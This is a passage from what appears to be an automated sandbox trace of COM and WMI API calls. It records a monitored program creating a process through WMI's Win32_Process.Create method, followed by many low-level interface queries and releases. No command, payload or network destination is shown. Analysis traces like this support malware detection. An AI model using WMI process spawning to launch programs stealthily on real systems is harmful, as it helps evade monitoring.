pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0114.833] IUnknown:Release (This=0x1b4d7598) returned 0x3 [0114.833] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0114.833] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0114.833] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0114.833] IUnknown:Release (This=0x1b4d7590) returned 0x2 [0114.834] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0114.834] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0114.834] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0114.834] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0114.834] IUnknown:QueryInterface (in: This=0x1b4d7590, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0114.834] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0114.834] IUnknown:AddRef (This=0x1b4d7590) returned 0x3 [0114.834] IWbemClassObject:Put (This=0x1b4707e0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4d7590, varVal2=0x0), Type=0) returned 0x0 [0114.834] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b05a0, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0114.834] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b05a0, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0114.834] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b05a0, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0114.834] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afd60, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0114.834] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0114.834] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0114.834] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0114.834] WbemLocator:IUnknown:AddRef (This=0x1b510398) returned 0x3 [0114.834] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510398, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b510398) returned 0x0 [0114.834] WbemLocator:IUnknown:Release (This=0x1b510398) returned 0x3 [0114.835] WbemLocator:IUnknown:Release (This=0x1b510398) returned 0x2 [0114.835] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0114.835] WbemLocator:IUnknown:AddRef (This=0x1b510398) returned 0x3 [0114.835] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510398, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b510398) returned 0x0 [0114.835] WbemLocator:IUnknown:Release (This=0x1b510398) returned 0x3 [0114.835] WbemLocator:IUnknown:Release (This=0x1b510398) returned 0x2 [0114.835] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b05a0, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0114.835] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b05a0, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0114.835] IWbemServices:ExecMethod (in: This=0x1b4e1040, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b4707e0, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b4ead20, ppCallResult=0x0) returned 0x0 [0114.916] IWbemClassObject:Get (in: This=0x1b4ead20, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aacf08*=0, plFlavor=0x2aacf0c*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8dc, varVal2=0x0), pType=0x2aacf08*=19, plFlavor=0x2aacf0c*=0) returned 0x0 [0114.916] IWbemClassObject:Get (in: This=0x1b4ead20, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aacf08*=19, plFlavor=0x2aacf0c*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8dc, varVal2=0x0), pType=0x2aacf08*=19, plFlavor=0x2aacf0c*=0) returned 0x0 [0114.916] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0114.916] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0114.916] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0114.916] IUnknown:Release (This=0x6124e8) returned 0x1 [0114.917] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b45cf90) returned 0x0 [0114.917] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45cf90, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0114.917] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45cf90, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4affa0) returned 0x0 [0114.917] WbemDefPath:IUnknown:Release (This=0x1b45cf90) returned 0x0 [0114.917] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4affa0) returned 0x0 [0114.918] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0114.918] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0114.918] WbemDefPath:IUnknown:AddRef (This=0x1b4affa0) returned 0x3 [0114.918] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0114.918] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0114.918] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b45cfb0) returned 0x0 [0114.918] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45cfb0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0114.918] WbemDefPath:IUnknown:Release (This=0x1b45cfb0) returned 0x3 [0114.918] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0114.918] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0114.918] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0114.919] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x2 [0114.919] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x1 [0114.919] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0114.919] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0114.919] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4affa0) returned 0x0 [0114.919] WbemDefPath:IUnknown:AddRef (This=0x1b4affa0) returned 0x3 [0114.919] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x2 [0114.919] WbemDefPath:IWbemPath:SetText (This=0x1b4affa0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0114.919] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4affa0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0114.919] WbemDefPath:IWbemPath:GetText (in: This=0x1b4affa0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0114.919] WbemDefPath:IWbemPath:GetText (in: This=0x1b4affa0, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0114.919] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4affa0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0114.919] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4affa0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0114.919] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4affa0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0114.919] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0114.919] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0114.919] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0114.919] IUnknown:Release (This=0x6124e8) returned 0x1 [0114.920] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b45cd70) returned 0x0 [0114.920] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45cd70, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0114.920] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45cd70, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x656270) returned 0x0 [0114.920] WbemDefPath:IUnknown:Release (This=0x1b45cd70) returned 0x0 [0114.920] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x656270) returned 0x0 [0114.920] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0114.920] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0114.920] WbemDefPath:IUnknown:AddRef (This=0x656270) returned 0x3 [0114.921] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0114.921] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0114.921] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b45cdf0) returned 0x0 [0114.921] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45cdf0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0114.921] WbemDefPath:IUnknown:Release (This=0x1b45cdf0) returned 0x3 [0114.921] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0114.921] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0114.921] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0114.921] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x2 [0114.921] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x1 [0114.921] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0114.921] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0114.921] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x656270) returned 0x0 [0114.921] WbemDefPath:IUnknown:AddRef (This=0x656270) returned 0x3 [0114.921] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x2 [0114.921] WbemDefPath:IWbemPath:SetText (This=0x656270, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0114.921] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656270, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0114.921] WbemDefPath:IWbemPath:GetText (in: This=0x656270, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0114.921] WbemDefPath:IWbemPath:GetText (in: This=0x656270, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0114.921] WbemDefPath:IWbemPath:GetInfo (in: This=0x656270, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0114.921] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656270, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0114.921] WbemDefPath:IWbemPath:GetInfo (in: This=0x656270, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0114.922] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656270, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0114.922] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0114.922] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0114.922] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0114.922] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0114.922] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0114.922] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0114.922] IUnknown:Release (This=0x6124e8) returned 0x1 [0114.922] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b45cf70) returned 0x0 [0114.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45cf70, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0114.923] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45cf70, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x655430) returned 0x0 [0114.923] WbemDefPath:IUnknown:Release (This=0x1b45cf70) returned 0x0 [0114.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x655430) returned 0x0 [0114.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0114.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0114.923] WbemDefPath:IUnknown:AddRef (This=0x655430) returned 0x3 [0114.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0114.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0114.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, 